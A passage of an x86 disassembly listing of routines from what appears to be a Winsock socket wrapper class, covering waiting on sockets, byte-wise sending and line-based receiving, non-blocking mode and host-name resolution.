arg_C = dword ptr 10h
sub esp, 210h
push ebx
push ebp
push esi
mov esi, ecx
push edi
cmp dword ptr [esi+806h], 0FFFFFFFFh
jz loc_41AA24
mov al, [esi+80Bh]
test al, al
jz loc_41AA24
mov edi, dword_50F8A4
call edi
mov ebp, eax
mov al, [esi+80Dh]
test al, al
jnz loc_41A9BC
mov ebx, [esp+220h+arg_8]
test ebx, ebx
jz loc_41A9BC
call sub_40195B
test al, al
jz loc_41A9BC
loc_41A91B: ; CODE XREF: sub_41A8C0+F6j
mov eax, [esi+806h]
mov ecx, 1
mov [esp+220h+var_100], eax
mov [esp+220h+var_104], ecx
mov [esp+220h+var_204], eax
mov [esp+220h+var_208], ecx
mov [esp+220h+var_210], 0
mov [esp+220h+var_20C], 64h
call edi
sub eax, ebp
cmp eax, ebx
ja loc_41AA24
lea eax, [esp+220h+var_210]
lea ecx, [esp+220h+var_208]
push eax
mov eax, [esi+806h]
push ecx
lea edx, [esp+228h+var_104]
push 0
inc eax
push edx
push eax
nop
call near ptr 71AB2DC0h
test eax, eax
jz short loc_41A9AF
mov edx, [esi+806h]
lea ecx, [esp+220h+var_208]
push ecx
push edx
call sub_436F60
; ---------------------------------------------------------------------------
test eax, eax
jnz loc_41AA24
mov ecx, [esi+806h]
lea eax, [esp+220h+var_104]
push eax
push ecx
call sub_436F60
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_41A9BC
loc_41A9AF: ; CODE XREF: sub_41A8C0+BCj
call sub_40195B
test al, al
jnz loc_41A91B
loc_41A9BC: ; CODE XREF: sub_41A8C0+39j
; sub_41A8C0+48j ...
call sub_40195B
test al, al
jz short loc_41AA24
mov edx, [esp+220h+arg_4]
mov eax, [esp+220h+arg_0]
mov ecx, [esi+806h]
push 0
push edx
push eax
push ecx
nop
call near ptr 71AB615Ah
mov ecx, [esp+220h+arg_C]
test ecx, ecx
jz short loc_41A9F1
mov [ecx], eax
loc_41A9F1: ; CODE XREF: sub_41A8C0+12Dj
cmp eax, 0FFFFFFFFh
jz short loc_41AA09
test eax, eax
jz short loc_41AA09
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 210h
retn 10h
; ---------------------------------------------------------------------------
loc_41AA09: ; CODE XREF: sub_41A8C0+134j
; sub_41A8C0+138j
nop
call near ptr 71AB94DCh
pop edi
cmp eax, 2733h
pop esi
pop ebp
setz al
pop ebx
add esp, 210h
retn 10h
; ---------------------------------------------------------------------------
loc_41AA24: ; CODE XREF: sub_41A8C0+13j
; sub_41A8C0+21j ...
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 210h
retn 10h
sub_41A8C0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 60h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41AAA0: ; CODE XREF: ___:00401618j
mov eax, [ecx+806h]
cmp eax, 0FFFFFFFFh
jz short loc_41AAF1
mov dl, [ecx+80Bh]
test dl, dl
jz short loc_41AAF1
mov ecx, [esp+8]
mov edx, [esp+4]
push 0
push ecx
push edx
push eax
nop
call near ptr 71AB428Ah
mov ecx, [esp+0Ch]
test ecx, ecx
jz short loc_41AAD2
mov [ecx], eax
loc_41AAD2: ; CODE XREF: ___:0041AACEj
cmp eax, 0FFFFFFFFh
jz short loc_41AAE0
test eax, eax
jz short loc_41AAE0
mov al, 1
retn 0Ch
; ---------------------------------------------------------------------------
loc_41AAE0: ; CODE XREF: ___:0041AAD5j
; ___:0041AAD9j
nop
call near ptr 71AB94DCh
cmp eax, 2733h
setz al
retn 0Ch
; ---------------------------------------------------------------------------
loc_41AAF1: ; CODE XREF: ___:0041AAA9j
; ___:0041AAB3j
xor al, al
retn 0Ch
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41AB20: ; CODE XREF: ___:004019B0j
push ecx
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov [esp+10h], esi
call sub_40195B
test al, al
jnz short loc_41AB3C
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
loc_41AB3C: ; CODE XREF: ___:0041AB32j
mov al, [esi+80Bh]
xor ebx, ebx
cmp al, bl
jnz short loc_41AB52
loc_41AB48: ; CODE XREF: ___:0041AB8Dj
pop edi
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
loc_41AB52: ; CODE XREF: ___:0041AB46j
mov eax, [esp+1Ch]
mov ebp, [esp+18h]
xor esi, esi
dec eax
cmp eax, ebx
mov [ebp+0], bl
mov byte ptr [esp+18h], 1
jle short loc_41ABB6
mov edi, ebp
loc_41AB6B: ; CODE XREF: ___:0041ABB4j
cmp edi, ebx
jz short loc_41ABB6
cmp [esp+18h], bl
jz short loc_41ABB6
call sub_40195B
test al, al
jz short loc_41ABB6
mov ecx, [esp+10h]
push ebx
push 1
push edi
call sub_401960
test al, al
jz short loc_41AB48
mov [esi+ebp+1], bl
mov al, [edi]
cmp al, 0Ah
jz short loc_41ABA1
cmp al, 0Dh
jz short loc_41ABA1
cmp al, bl
jnz short loc_41ABA9
loc_41ABA1: ; CODE XREF: ___:0041AB97j
; ___:0041AB9Bj
mov [esi+ebp-1], bl
mov [esp+18h], bl
loc_41ABA9: ; CODE XREF: ___:0041AB9Fj
mov ecx, [esp+1Ch]
inc esi
inc edi
lea eax, [ecx-1]
cmp esi, eax
jl short loc_41AB6B
loc_41ABB6: ; CODE XREF: ___:0041AB67j
; ___:0041AB6Dj ...
mov edx, [esp+1Ch]
pop edi
pop esi
mov al, 1
mov [edx+ebp-1], bl
pop ebp
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41AC00: ; CODE XREF: ___:00402180j
push ecx
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov [esp+10h], esi
call sub_40195B
test al, al
jnz short loc_41AC1C
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
loc_41AC1C: ; CODE XREF: ___:0041AC12j
mov al, [esi+80Bh]
xor ebx, ebx
cmp al, bl
jnz short loc_41AC32
loc_41AC28: ; CODE XREF: ___:0041AC6Dj
pop edi
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
loc_41AC32: ; CODE XREF: ___:0041AC26j
mov eax, [esp+1Ch]
mov ebp, [esp+18h]
xor esi, esi
dec eax
cmp eax, ebx
mov [ebp+0], bl
mov byte ptr [esp+18h], 1
jle short loc_41AC9D
mov edi, ebp
loc_41AC4B: ; CODE XREF: ___:0041AC9Bj
cmp edi, ebx
jz short loc_41AC9D
cmp [esp+18h], bl
jz short loc_41AC9D
call sub_40195B
test al, al
jz short loc_41AC9D
mov ecx, [esp+10h]
push ebx
push 1
push edi
call sub_401960
test al, al
jz short loc_41AC28
mov [esi+ebp+1], bl
mov al, [edi]
cmp al, 0Ah
jz short loc_41AC7D
cmp al, bl
jnz short loc_41AC90
loc_41AC7D: ; CODE XREF: ___:0041AC77j
cmp byte ptr [esi+ebp-1], 0Dh
jnz short loc_41AC8A
mov [esi+ebp-1], bl
jmp short loc_41AC8C
; ---------------------------------------------------------------------------
loc_41AC8A: ; CODE XREF: ___:0041AC82j
mov [edi], bl
loc_41AC8C: ; CODE XREF: ___:0041AC88j
mov [esp+18h], bl
loc_41AC90: ; CODE XREF: ___:0041AC7Bj
mov ecx, [esp+1Ch]
inc esi
inc edi
lea eax, [ecx-1]
cmp esi, eax
jl short loc_41AC4B
loc_41AC9D: ; CODE XREF: ___:0041AC47j
; ___:0041AC4Dj ...
mov edx, [esp+1Ch]
pop edi
pop esi
mov al, 1
mov [edx+ebp-1], bl
pop ebp
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41ACE0: ; CODE XREF: ___:00401082j
push esi
mov esi, ecx
call sub_40195B
test al, al
jnz short loc_41ACF2
xor eax, eax
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_41ACF2: ; CODE XREF: ___:0041ACEAj
mov eax, [esi+806h]
cmp eax, 0FFFFFFFFh
jnz short loc_41AD03
xor eax, eax
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_41AD03: ; CODE XREF: ___:0041ACFBj
mov ecx, [esp+0Ch]
mov edx, [esp+8]
push ecx
push edx
push eax
nop
call near ptr 71AB951Eh
pop esi
retn 8
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41AD30 proc near ; CODE XREF: sub_401893j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
call sub_40195B
test al, al
jnz short loc_41AD42
xor eax, eax
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_41AD42: ; CODE XREF: sub_41AD30+Aj
mov eax, [esi+806h]
cmp eax, 0FFFFFFFFh
jnz short loc_41AD53
xor eax, eax
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_41AD53: ; CODE XREF: sub_41AD30+1Bj
mov ecx, [esp+4+arg_4]
mov edx, [esp+4+arg_0]
push ecx
push edx
push eax
nop
call near ptr 71AC0B50h
pop esi
retn 8
sub_41AD30 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41AD80: ; CODE XREF: ___:00401C3Fj
sub esp, 10Ch
push esi
mov esi, ecx
xor ecx, ecx
mov al, [esi+80Ch]
cmp al, cl
mov eax, [esi+806h]
jnz short loc_41ADBF
cmp eax, 0FFFFFFFFh
jz short loc_41ADB5
cmp [esi+80Bh], cl
jz short loc_41ADB5
mov eax, 1
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_41ADB5: ; CODE XREF: ___:0041AD9Ej
; ___:0041ADA6j
xor eax, eax
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_41ADBF: ; CODE XREF: ___:0041AD99j
lea edx, [esp+4]
mov [esp+10h], eax
push edx
lea edx, [esp+10h]
push ecx
push edx
inc eax
push ecx
push eax
mov dword ptr [esp+20h], 1
mov [esp+18h], ecx
mov [esp+1Ch], ecx
call near ptr 71AB2DC0h
nop
test eax, eax
jnz short loc_41ADF5
xor al, al
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_41ADF5: ; CODE XREF: ___:0041ADE9j
mov ecx, [esi+806h]
lea eax, [esp+0Ch]
push eax
push ecx
call sub_436F60
; ---------------------------------------------------------------------------
test eax, eax
setnz al
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41AE50: ; CODE XREF: ___:004016E5j
sub esp, 10Ch
push esi
mov esi, ecx
xor ecx, ecx
cmp [esi+80Ch], cl
jnz short loc_41AE6D
xor al, al
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_41AE6D: ; CODE XREF: ___:0041AE61j
mov eax, [esi+806h]
lea edx, [esp+4]
push edx
lea edx, [esp+10h]
mov [esp+14h], eax
push edx
push ecx
inc eax
push ecx
push eax
mov dword ptr [esp+20h], 1
mov [esp+18h], ecx
mov [esp+1Ch], ecx
call near ptr 71AB2DC0h
nop
test eax, eax
jnz short loc_41AEA9
xor al, al
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_41AEA9: ; CODE XREF: ___:0041AE9Dj
mov ecx, [esi+806h]
lea eax, [esp+0Ch]
push eax
push ecx
call sub_436F60
; ---------------------------------------------------------------------------
test eax, eax
setnz al
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41AEF0: ; CODE XREF: ___:0040173Aj
push esi
mov esi, [esp+8]
push edi
mov edi, ecx
push 800h
lea edx, [esi+6]
mov ax, [edi+4]
lea ecx, [edi+6]
push ecx
push edx
mov [esi+4], ax
call near ptr 77C47A90h
nop
xor al, al
add esp, 0Ch
mov dword ptr [esi+806h], 0FFFFFFFFh
mov [esi+80Ch], al
mov [esi+80Bh], al
mov al, [edi+80Dh]
mov [esi+80Dh], al
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41AF60 proc near ; CODE XREF: sub_4018BBj
arg_0 = dword ptr 4
mov al, byte ptr [esp+arg_0]
test al, al
mov [ecx+80Ch], al
jz short loc_41AF90
mov ecx, [ecx+806h]
lea eax, [esp+arg_0]
push eax
push 8004667Eh
push ecx
mov [esp+0Ch+arg_0], 1
call near ptr 71AB4519h
nop
retn 4
; ---------------------------------------------------------------------------
loc_41AF90: ; CODE XREF: sub_41AF60+Cj
mov eax, [ecx+806h]
lea edx, [esp+arg_0]
push edx
push 8004667Eh
push eax
mov [esp+0Ch+arg_0], 0
nop
call near ptr 71AB4519h
retn 4
sub_41AF60 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41AFE0 proc near ; CODE XREF: sub_401186j
push esi
mov esi, ecx
push 0
lea ecx, [esi+4]
call sub_401C35
mov dword ptr [esi], offset off_43E0C0
mov eax, esi
pop esi
retn
sub_41AFE0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B010 proc near ; CODE XREF: ___:00401915j sub_401E74j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_40186B
test [esp+4+arg_0], 1
jz short loc_41B028
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_41B028: ; CODE XREF: sub_41B010+Dj
mov eax, esi
pop esi
retn 4
sub_41B010 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B040 proc near ; CODE XREF: sub_40186Bj
mov dword ptr [ecx], offset off_43E0C0
add ecx, 4
jmp sub_401FC8
sub_41B040 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B060 proc near ; CODE XREF: sub_401636j
arg_0 = dword ptr 4
push esi
push edi
call sub_40195B
test al, al
jnz short loc_41B072
pop edi
xor eax, eax
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_41B072: ; CODE XREF: sub_41B060+9j
mov esi, [esp+8+arg_0]
push esi
nop
call near ptr 71AB2BF4h
cmp eax, 0FFFFFFFFh
jnz short loc_41B0C5
push esi
call near ptr 71AB4FD4h
nop
mov edi, eax
test edi, edi
jnz short loc_41B097
pop edi
or eax, 0FFFFFFFFh
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_41B097: ; CODE XREF: sub_41B060+2Dj
mov eax, [edi+0Ch]
xor esi, esi
cmp dword ptr [eax], 0
jz short loc_41B0AC
loc_41B0A1: ; CODE XREF: sub_41B060+4Aj
mov ecx, [eax+4]
add eax, 4
inc esi
test ecx, ecx
jnz short loc_41B0A1
loc_41B0AC: ; CODE XREF: sub_41B060+3Fj
call sub_401EEC
dec esi
push esi
push 0
call sub_4021A3
; ---------------------------------------------------------------------------
mov ecx, [edi+0Ch]
add esp, 8
mov edx, [ecx+eax*4]
mov eax, [edx]
loc_41B0C5: ; CODE XREF: sub_41B060+20j
pop edi
pop esi
retn 4
sub_41B060 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41B0F0: ; CODE XREF: ___:00402095j
push 0FFFFFFFFh
push offset loc_43AD07
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 38h
push ebx
push esi
xor ebx, ebx
push edi
mov [esp+0Ch], ebx
call sub_40195B
test al, al
jnz short loc_41B12F
mov eax, [esp+58h]
mov esi, [esp+54h]
push eax
mov ecx, esi
call sub_401861
jmp loc_41B2DB
; ---------------------------------------------------------------------------
loc_41B12F: ; CODE XREF: ___:0041B118j
mov ecx, [esp+58h]
push ecx
lea ecx, [esp+30h]
call sub_401861
mov edi, 1
lea ecx, [esp+2Ch]
mov [esp+4Ch], edi
call sub_4017E4
test eax, eax
push offset byte_446F60
jnz short loc_41B16C
mov esi, [esp+58h]
mov ecx, esi
call sub_401861
mov [esp+0Ch], edi
jmp loc_41B2CE
; ---------------------------------------------------------------------------
loc_41B16C: ; CODE XREF: ___:0041B156j
lea ecx, [esp+30h]
call sub_4012EE
test eax, eax
push offset byte_446F60
jnz short loc_41B192
mov esi, [esp+58h]
mov ecx, esi
call sub_401861
mov [esp+0Ch], edi
jmp loc_41B2CE
; ---------------------------------------------------------------------------
loc_41B192: ; CODE XREF: ___:0041B17Cj
lea ecx, [esp+18h]
call sub_401861
lea edx, [esp+10h]
push ebx
push edx
push ebx
push ebx
push 0Fh
lea ecx, [esp+40h]
mov byte ptr [esp+60h], 2
call sub_4017E4
push eax
call sub_436FC6
; ---------------------------------------------------------------------------
cmp eax, ebx
jz short loc_41B1D6
mov esi, [esp+54h]
lea eax, [esp+14h]
push eax
mov ecx, esi
call sub_4014C9
mov [esp+0Ch], edi
jmp loc_41B2C0
; ---------------------------------------------------------------------------
loc_41B1D6: ; CODE XREF: ___:0041B1BBj
mov edi, [esp+10h]
mov esi, offset dword_443DC4
mov ecx, [edi]
mov eax, [ecx+4]
loc_41B1E4: ; CODE XREF: ___:0041B202j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_41B208
cmp cl, bl
jz short loc_41B204
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_41B208
add eax, 2
add esi, 2
cmp cl, bl
jnz short loc_41B1E4
loc_41B204: ; CODE XREF: ___:0041B1EEj
xor eax, eax
jmp short loc_41B20D
; ---------------------------------------------------------------------------
loc_41B208: ; CODE XREF: ___:0041B1EAj
; ___:0041B1F8j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41B20D: ; CODE XREF: ___:0041B206j
cmp eax, ebx
jz short loc_41B27B
push ebp
loc_41B212: ; CODE XREF: ___:0041B265j
; ___:0041B269j
nop
call near ptr 27D091Eh
and eax, 0Fh
cmp al, 8
jnz short loc_41B226
cmp word ptr [edi+8], 0Fh
jz short loc_41B26B
loc_41B226: ; CODE XREF: ___:0041B21Dj
mov edi, [edi]
mov ebp, [esp+14h]
cmp edi, ebx
jnz short loc_41B232
mov edi, ebp
loc_41B232: ; CODE XREF: ___:0041B22Ej
mov eax, [edi+4]
mov esi, offset dword_443DC4
loc_41B23A: ; CODE XREF: ___:0041B258j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_41B25E
cmp cl, bl
jz short loc_41B25A
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_41B25E
add eax, 2
add esi, 2
cmp cl, bl
jnz short loc_41B23A
loc_41B25A: ; CODE XREF: ___:0041B244j
xor eax, eax
jmp short loc_41B263
; ---------------------------------------------------------------------------
loc_41B25E: ; CODE XREF: ___:0041B240j
; ___:0041B24Ej
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41B263: ; CODE XREF: ___:0041B25Cj
cmp eax, ebx
jnz short loc_41B212
mov edi, ebp
jmp short loc_41B212
; ---------------------------------------------------------------------------
loc_41B26B: ; CODE XREF: ___:0041B224j
mov eax, [edi+18h]
lea ecx, [esp+18h]
push eax
call sub_4015D7
pop ebp
jmp short loc_41B288
; ---------------------------------------------------------------------------
loc_41B27B: ; CODE XREF: ___:0041B20Fj
mov ecx, [edi+18h]
push ecx
lea ecx, [esp+18h]
call sub_4015D7
loc_41B288: ; CODE XREF: ___:0041B279j
push offset byte_446F60
lea ecx, [esp+18h]
call sub_4012EE
test eax, eax
jnz short loc_41B2A8
mov edx, [esp+58h]
lea ecx, [esp+14h]
push edx
call sub_4015D7
loc_41B2A8: ; CODE XREF: ___:0041B298j
mov esi, [esp+54h]
lea eax, [esp+14h]
push eax
mov ecx, esi
call sub_4014C9
mov dword ptr [esp+0Ch], 1
loc_41B2C0: ; CODE XREF: ___:0041B1D1j
lea ecx, [esp+14h]
mov byte ptr [esp+4Ch], 1
call sub_401226
loc_41B2CE: ; CODE XREF: ___:0041B167j
; ___:0041B18Dj
lea ecx, [esp+2Ch]
mov [esp+4Ch], bl
call sub_401226
loc_41B2DB: ; CODE XREF: ___:0041B12Aj
mov ecx, [esp+44h]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 44h
retn 8
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 90h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41B390: ; CODE XREF: ___:00402135j
push esi
mov esi, ecx
call sub_401E6A
push 0
lea ecx, [esi+15h]
call sub_401C35
mov dword ptr [esi], offset off_43E0C4
mov dword ptr [esi+11h], 0
mov dword ptr [esi+823h], 0
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B3D0 proc near ; CODE XREF: sub_4013FCj ___:00402018j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401BCC
test [esp+4+arg_0], 1
jz short loc_41B3E8
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_41B3E8: ; CODE XREF: sub_41B3D0+Dj
mov eax, esi
pop esi
retn 4
sub_41B3D0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B400 proc near ; CODE XREF: sub_401BCCj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41B400
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_401FC8
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_402031
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_41B400 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41B470: ; CODE XREF: ___:00401D3Ej
push esi
mov esi, ecx
call sub_401E6A
push 0
lea ecx, [esi+15h]
call sub_401C35
mov eax, [esp+8]
mov ecx, [esp+0Ch]
mov [esi+11h], eax
mov dword ptr [esi], offset off_43E0C4
mov [esi+823h], ecx
mov eax, esi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B4B0 proc near ; CODE XREF: sub_40167Cj
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 14h
push edi
mov edi, ecx
mov eax, [edi+11h]
test eax, eax
jz loc_41B5C0
mov ecx, [edi+823h]
test ecx, ecx
jz loc_41B5C0
push ebx
push ebp
lea ebx, [edi+15h]
push esi
push eax
mov ecx, ebx
xor esi, esi
call sub_401488
mov ebp, dword_50F8D0
test al, al
jnz short loc_41B513
loc_41B4E9: ; CODE XREF: sub_41B4B0+61j
mov al, [edi+10h]
test al, al
jz loc_41B5AF
mov al, byte_4E6E74
test al, al
jz short loc_41B513
push 7D0h
call ebp
mov eax, [edi+11h]
mov ecx, ebx
push eax
call sub_401488
test al, al
jz short loc_41B4E9
loc_41B513: ; CODE XREF: sub_41B4B0+37j
; sub_41B4B0+4Bj
mov al, [edi+10h]
test al, al
jz loc_41B5AF
loc_41B51E: ; CODE XREF: sub_41B4B0+F9j
mov al, byte_4E6E74
test al, al
jz loc_41B5AF
test esi, esi
jnz short loc_41B54E
push 80Eh
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
test eax, eax
jz short loc_41B54A
push esi
mov ecx, eax
call sub_401C35
jmp short loc_41B54C
; ---------------------------------------------------------------------------
loc_41B54A: ; CODE XREF: sub_41B4B0+8Ej
xor eax, eax
loc_41B54C: ; CODE XREF: sub_41B4B0+98j
mov esi, eax
loc_41B54E: ; CODE XREF: sub_41B4B0+7Dj
push 0
push 0
push esi
mov ecx, ebx
call sub_401B81
test al, al
jnz short loc_41B567
push 7D0h
call ebp
jmp short loc_41B5A4
; ---------------------------------------------------------------------------
loc_41B567: ; CODE XREF: sub_41B4B0+ACj
xor ecx, ecx
lea edx, [esp+24h+var_14]
mov [esp+24h+var_10], ecx
lea eax, [esp+24h+var_10]
mov [esp+24h+var_C], ecx
push edx
mov [esp+28h+var_8], ecx
push eax
mov [esp+2Ch+var_4], ecx
mov ecx, esi
mov [esp+2Ch+var_14], 10h
call sub_401893
mov al, byte ptr [esp+24h+var_C]
test al, al
jz short loc_41B5A4
push esi
call dword ptr [edi+823h]
add esp, 4
loc_41B5A4: ; CODE XREF: sub_41B4B0+B5j
; sub_41B4B0+E8j
mov al, [edi+10h]
test al, al
jnz loc_41B51E
loc_41B5AF: ; CODE XREF: sub_41B4B0+3Ej
; sub_41B4B0+68j ...
mov ecx, ebx
call sub_4014DD
pop esi
pop ebp
pop ebx
xor eax, eax
pop edi
add esp, 14h
retn
; ---------------------------------------------------------------------------
loc_41B5C0: ; CODE XREF: sub_41B4B0+Bj
; sub_41B4B0+19j
xor eax, eax
pop edi
add esp, 14h
retn
sub_41B4B0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41B620: ; CODE XREF: ___:00401C21j
mov eax, [esp+0Ch]
push ebx
push ebp
mov ebp, [esp+10h]
push esi
push edi
xor ebx, ebx
xor edi, edi
dec eax
mov [ebp+0], bl
cmp eax, ebx
mov byte ptr [esp+18h], 1
jle short loc_41B695
mov esi, ebp
loc_41B63F: ; CODE XREF: ___:0041B693j
cmp esi, ebx
jz short loc_41B695
cmp [esp+18h], bl
jz short loc_41B695
mov ecx, [esp+14h]
push ebx
push 1
push esi
push ecx
nop
call near ptr 71AB615Ah
cmp eax, ebx
jz short loc_41B6A4
cmp eax, 0FFFFFFFFh
jz short loc_41B6A4
call near ptr 71AB94DCh
nop
cmp eax, 2733h
jz short loc_41B69D
mov [edi+ebp+1], bl
mov al, [esi]
cmp al, 0Ah
jz short loc_41B680
cmp al, 0Dh
jz short loc_41B680
cmp al, bl
jnz short loc_41B688
loc_41B680: ; CODE XREF: ___:0041B676j
; ___:0041B67Aj
mov [edi+ebp-1], bl
mov [esp+18h], bl
loc_41B688: ; CODE XREF: ___:0041B67Ej
mov edx, [esp+1Ch]
inc edi
inc esi
lea eax, [edx-1]
cmp edi, eax
jl short loc_41B63F
loc_41B695: ; CODE XREF: ___:0041B63Bj
; ___:0041B641j ...
mov eax, [esp+1Ch]
mov [eax+ebp-1], bl
loc_41B69D: ; CODE XREF: ___:0041B66Cj
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41B6A4: ; CODE XREF: ___:0041B65Aj
; ___:0041B65Fj
pop edi
pop esi
pop ebp
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B6E0 proc near ; CODE XREF: sub_401280j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
xor ebx, ebx
xor esi, esi
dec eax
cmp eax, ebx
push edi
mov [ebp+0], bl
mov byte ptr [esp+10h+arg_4], 1
jle short loc_41B74A
mov edi, ebp
loc_41B6FF: ; CODE XREF: sub_41B6E0+68j
cmp edi, ebx
jz short loc_41B74A
cmp byte ptr [esp+10h+arg_4], bl
jz short loc_41B74A
mov ecx, [esp+10h+arg_0]
push ebx
push 1
push edi
push ecx
nop
call near ptr 71AB615Ah
test eax, eax
jz short loc_41B759
mov [esi+ebp+1], bl
mov al, [edi]
cmp al, 0Ah
jz short loc_41B72A
cmp al, bl
jnz short loc_41B73D
loc_41B72A: ; CODE XREF: sub_41B6E0+44j
cmp byte ptr [esi+ebp-1], 0Dh
jnz short loc_41B737
mov [esi+ebp-1], bl
jmp short loc_41B739
; ---------------------------------------------------------------------------
loc_41B737: ; CODE XREF: sub_41B6E0+4Fj
mov [edi], bl
loc_41B739: ; CODE XREF: sub_41B6E0+55j
mov byte ptr [esp+10h+arg_4], bl
loc_41B73D: ; CODE XREF: sub_41B6E0+48j
mov edx, [esp+10h+arg_8]
inc esi
inc edi
lea eax, [edx-1]
cmp esi, eax
jl short loc_41B6FF
loc_41B74A: ; CODE XREF: sub_41B6E0+1Bj
; sub_41B6E0+21j ...
mov eax, [esp+10h+arg_8]
pop edi
pop esi
mov [eax+ebp-1], bl
pop ebp
mov al, 1
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41B759: ; CODE XREF: sub_41B6E0+3Aj
pop edi
pop esi
pop ebp
xor al, al
pop ebx
retn
sub_41B6E0 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41B780: ; CODE XREF: ___:00401ADCj
push ebx
mov ebx, [esp+8]
push ebp
mov ebp, [esp+10h]
mov ecx, ebp
push esi
mov edx, ecx
push edi
xor eax, eax
mov edi, ebx
shr ecx, 2
rep stosd
mov ecx, edx
xor esi, esi
and ecx, 3
test ebp, ebp
rep stosb
jle short loc_41B7DB
